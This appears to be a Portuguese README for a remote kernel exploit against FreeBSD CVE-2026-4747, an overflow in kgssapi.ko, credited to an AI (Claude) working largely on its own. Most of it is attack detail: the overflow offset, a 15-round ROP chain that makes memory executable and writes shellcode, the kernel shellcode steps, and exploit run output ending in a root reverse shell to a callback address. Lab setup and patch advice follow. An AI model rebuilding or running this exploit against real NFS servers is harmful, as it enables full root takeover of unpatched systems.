
Exploit remoto de RCE no kernel para FreeBSD CVE-2026-4747, um estouro de buffer de pilha em kgssapi.ko que leva a um shell de root via cadeia ROP e shellcode.
____ __ ______ ____ ___ ____ __ _ _____ _ _ ___
/ ___/\ \ / / ___| |___ \ / _ \___ \ \ \ | ||___ | || ||__ \
| | \ \ / /| | ___ __) | | | |__) | \ \ _ | | / /| || |_ ) |
| |___ \ V / | |___|___| / __/| |_| / __/ \ \ | |__| | / / |__ _|/ /
\____| \_/ \____| |_____|\___/_____| \_\ \____/ /_/ |_||___|
Stack Buffer Overflow em kgssapi.ko → Root Shell em ~4 horas
"O primeiro exploit de RCE remota de kernel descoberto E explorado por uma IA. Tempo total: ~4 horas de trabalho real."
— Descoberto por Nicholas Carlini usando Claude (Anthropic) · Publicado 26 Mar 2026
CVE-2026-4747 é uma vulnerabilidade de estouro de buffer na pilha (stack buffer overflow) localizada em kgssapi.ko, o módulo do kernel do FreeBSD que implementa autenticação RPCSEC_GSS para NFS.
A função svc_rpc_gss_validate() copia um credential body controlado pelo atacante para um buffer de 128 bytes na pilha (rpchdr[]) sem verificar o tamanho. Como 32 bytes já estão ocupados por campos do header RPC, restam apenas 96 bytes livres — mas a camada XDR permite credentials de até 400 bytes, resultando em 304 bytes de overflow.
| Campo | Valor |
|---|---|
| CVE ID | CVE-2026-4747 |
| CWE | CWE-121 (Stack-based Buffer Overflow) |
| Componente | kgssapi.ko / librpcgss_sec |
| Protocolo | NFS / RPCSEC_GSS / Kerberos |
| Privilégio necessário | Ticket Kerberos válido (baixo privilégio) |
| Impacto | Remote Kernel Code Execution → uid 0 |
| CVSS | 9.8 Critical |
| Corrigido | FreeBSD-SA-26:08.rpcsec_gss |
26 Mar 2026 ── FreeBSD publica FreeBSD-SA-26:08.rpcsec_gss
Crédito: "Nicholas Carlini using Claude, Anthropic"
29 Mar 2026 ── 09:45 AM PDT: Solicita-se a Claude desenvolver um exploit
05:00 PM PDT: Claude entrega shell de root funcional
Total: ~7h wall clock / ~4h de trabalho real de Claude
O humano esteve AFK durante grande parte do processo.
/* Em svc_rpc_gss_validate() — kgssapi.ko */
uint8_t rpchdr[128]; /* Buffer na pilha */
/* 32 bytes já consumidos por campos do header RPC */
/* Restam apenas 96 bytes livres */
/* XDR permite credentials de até 400 bytes */
/* 400 - 96 = 304 bytes de overflow → RIP hijack */
memcpy(rpchdr, credential_body, credential_len); /* ← BUG: sem verificar tamanho */
FreeBSD 14.x não possui:
int32_t[])Isso torna o overflow → controle de RIP direto.
Atacante (rede)
│
│ Ticket Kerberos válido para nfs/target@REALM
│
▼
NFS Server (porta 2049/TCP)
│
│ RPCSEC_GSS request com credential_len = 400
│
▼
svc_rpc_gss_validate() ← kernel ring 0
│
│ memcpy sem verificar tamanho
│ [128 bytes buffer + 304 bytes overflow]
│
▼
Stack Smashing → RIP controlado → ROP chain → Shellcode
│
▼
kproc_create() + kern_execve("/bin/sh") → uid=0 reverse shell
Claude resolveu 6 problemas distintos para ir do advisory ao shell de root:
# VM FreeBSD 14.4-RELEASE com:
# - 2+ CPUs (FreeBSD spawna 8 threads NFS por CPU; o exploit precisa de 15 rodadas)
# - kgssapi.ko carregado
# - NFS ativo na porta 2049
# - MIT Kerberos KDC configurado (necessário para alcançar o código vulnerável)
# - Port forwarding QEMU: host:2049 → guest:2049, host:8888 → guest:88 (KDC)
# Configuração Kerberos crítica no atacante:
# /etc/krb5.conf
[libdefaults]
rdns = false # Sem isso: ticket para nfs/localhost@REALM (incorreto)
dns_canonicalize_hostname = false # O servidor rejeita com KRB5KRB_AP_WRONG_PRINC
O shellcode mede 432 bytes, mas há apenas 200 bytes para a ROP chain por pacote.
Rodada 1: ROP → pmap_change_prot(BSS, RWX) ← tornar BSS executável
Rodadas 2-14: ROP → write 32 bytes de shellcode no BSS (4 writes × 8 bytes)
Rodada 15: ROP → write últimos bytes + JUMP para o shellcode
Budget por rodada: 4 writes × 40 bytes = 160 bytes + 24 bytes exit = 184 bytes ✓ (< 200)
; Cada rodada termina com kthread_exit(0) em vez de retorno normal
; O servidor não crasha — simplesmente perde um thread NFS
; Com 2 CPUs: 16 threads disponíveis → suficiente para 15 rodadas
# Sequência De Bruijn → cada substring de 8 bytes é única
# Enviar como credential body → kernel crasha → ler RIP do crash dump
# O disassembly dizia offset 168 → real: 200 bytes
# Diferença: 32 bytes do GSS header que a análise estática não considerou
pattern = cyclic(400) # De Bruijn de 400 bytes
# Crash dump: instruction pointer = 0x6941624162413941
# → cyclic_find(0x6941624162413941) = 200
O shellcode roda em um thread NFS puro de kernel — sem vmspace, sem trapframe.
/* Fase 1 (no shellcode do thread NFS hijackeado): */
kproc_create(worker_func, NULL, NULL, 0, 0, "revshell");
kthread_exit(); /* Matar thread NFS limpo */
/* Fase 2 (no novo processo): */
/* 1. Limpar debug registers (bug de hardware - ver Passo 5) */
__asm__("xor %%eax, %%eax; mov %%rax, %%dr7" ::: "rax");
/* 2. Executar /bin/sh */
kern_execve("/bin/sh", args, envp);
/* 3. CRÍTICO: Limpar flag P_KPROC */
/* Sem isso, fork_exit() chama kthread_exit() e mata o processo */
proc->p_flag &= ~P_KPROC;
/* 4. Retornar → fork_exit() → userret() → iretq → ring 3 → uid=0 shell */
Sintoma: O processo filho crasha com trap 1 (debug exception) em instrução válida.
Causa: kproc_create/fork1 copia o PCB do pai, herdando os breakpoints do DDB
que ficaram de crashes anteriores durante o desenvolvimento do exploit.
Fix: Duas instruções antes de kproc_create:
xor eax, eax
mov dr7, rax ← Desabilita todos os hardware breakpoints
$ python3 exploit.py -t 127.0.0.1 --ip 10.0.2.2 --port 4444
==============================================================
CVE-2026-4747: FreeBSD RPCSEC_GSS Remote Kernel RCE
Stack overflow → ROP → shellcode → uid 0 reverse shell
==============================================================
Target: 127.0.0.1:2049
Callback: 10.0.2.2:4444
SPN: nfs/[email protected]
Shellcode: 432 bytes (54 qwords)
Delivery: 15 rounds (1 pmap + 14 write)
[R1/15] pmap_change_prot(BSS, 0x2000, RWX)
[+] BSS is now RWX
[R2/15] write (4 qwords → 0xffffffff8198a800) ✓
[R3/15] write (4 qwords → 0xffffffff8198a820) ✓
...
[R15/15] write + EXECUTE → JUMP 0xffffffff8198a800
[*] Shellcode delivered and executing.
[*] kproc_create → kern_execve('/bin/sh -c ...')
[*] Reverse shell → 10.0.2.2:4444
[+] Connection from 127.0.0.1:41320
[+] Got shell!
sh: can't access tty; job control turned off
# id
uid=0(root) gid=0(wheel) groups=0(wheel)
# Baixar FreeBSD 14.4-RELEASE
curl -O https://download.freebsd.org/releases/amd64/amd64/ISO-IMAGES/14.4/FreeBSD-14.4-RELEASE-amd64-disc1.iso
# Criar disco e iniciar VM com 2+ CPUs
qemu-img create -f qcow2 freebsd-vuln.qcow2 20G
qemu-system-x86_64 \
-hda freebsd-vuln.qcow2 \
-cdrom FreeBSD-14.4-RELEASE-amd64-disc1.iso \
-m 2G \
-smp 2 \ # 2+ CPUs para 16+ NFS threads
-net user,hostfwd=tcp::2222-:22,hostfwd=tcp::2049-:2049,hostfwd=tcp::8888-:88 \
-net nic \
-nographic 2>&1 | tee qemu.log # Log para ler crash dumps
# Dentro do FreeBSD: configurar NFS + Kerberos
kldload kgssapi
echo 'nfs_server_enable="YES"' >> /etc/rc.conf
echo 'gssd_enable="YES"' >> /etc/rc.conf
# Setup KDC básico
pkg install heimdal
# Criar principals: nfs/[email protected], [email protected]
kadmin -l add nfs/[email protected]
kadmin -l add [email protected]
1. Instalar FreeBSD 14.4-RELEASE no VMware
2. Em Network Adapter: selecionar "NAT" ou "Host-only"
3. Configurar port forwarding no VMware NAT:
- Host 2049 TCP → Guest 2049
- Host 88 TCP/UDP → Guest 88 (KDC)
4. Mesmo setup de NFS/Kerberos do QEMU
5. Em /etc/krb5.conf do atacante:
kdc = 127.0.0.1:88 (aponta para o port forward)
# Atualizar FreeBSD para versão corrigida
freebsd-update fetch install
# Verificar que o advisory está corrigido
freebsd-version -k # Deve mostrar versão pós-SA-26:08
# 1. Desabilitar kgssapi se RPCSEC_GSS não for necessário
kldunload kgssapi
# Em /boot/loader.conf:
# kgssapi_load="NO"
# 2. Restringir acesso NFS com firewall
ipfw add deny tcp from any to any 2049 not via lo0
# Ou com pf:
# block in quick on em0 proto tcp to port 2049
# 3. Exigir autenticação Kerberos apenas de IPs confiáveis
# /etc/exports:
# /data -sec=krb5 -network=192.168.1.0 -mask=255.255.255.0
Os computadores passaram décadas encontrando bugs com fuzzers. Mas encontrar um bug e explorá-lo são coisas completamente distintas. O desenvolvimento de exploits exige entender o kernel, construir ROP chains, lidar com layouts de memória, debuggar crashes e se adaptar quando algo falha.
Isso sempre foi considerado território exclusivo de humanos.
CVE-2026-4747 demonstra que essa linha foi movida.
Claude resolveu 6 problemas de kernel exploit development de forma autônoma em ~4 horas: lab setup, multi-packet delivery, clean thread exit, offset debugging, kernel-to-userland transition, e um hardware breakpoint bug não documentado. Dois exploits funcionais usando estratégias distintas. Ambos funcionaram na primeira tentativa.
Este repositório é exclusivamente para pesquisa em cibersegurança, documentação técnica e fins educacionais. O exploit documentado aqui foi desenvolvido em um ambiente controlado e reportado responsavelmente aos mantenedores do FreeBSD antes de sua publicação. Não usar contra sistemas sem autorização explícita e por escrito. O autor não se responsabiliza pelo uso indevido.
Crédito original: Nicholas Carlini + Claude (Anthropic) Advisory: FreeBSD-SA-26:08.rpcsec_gss
Stack overflow → ROP → shellcode → kproc_create → iretq → uid=0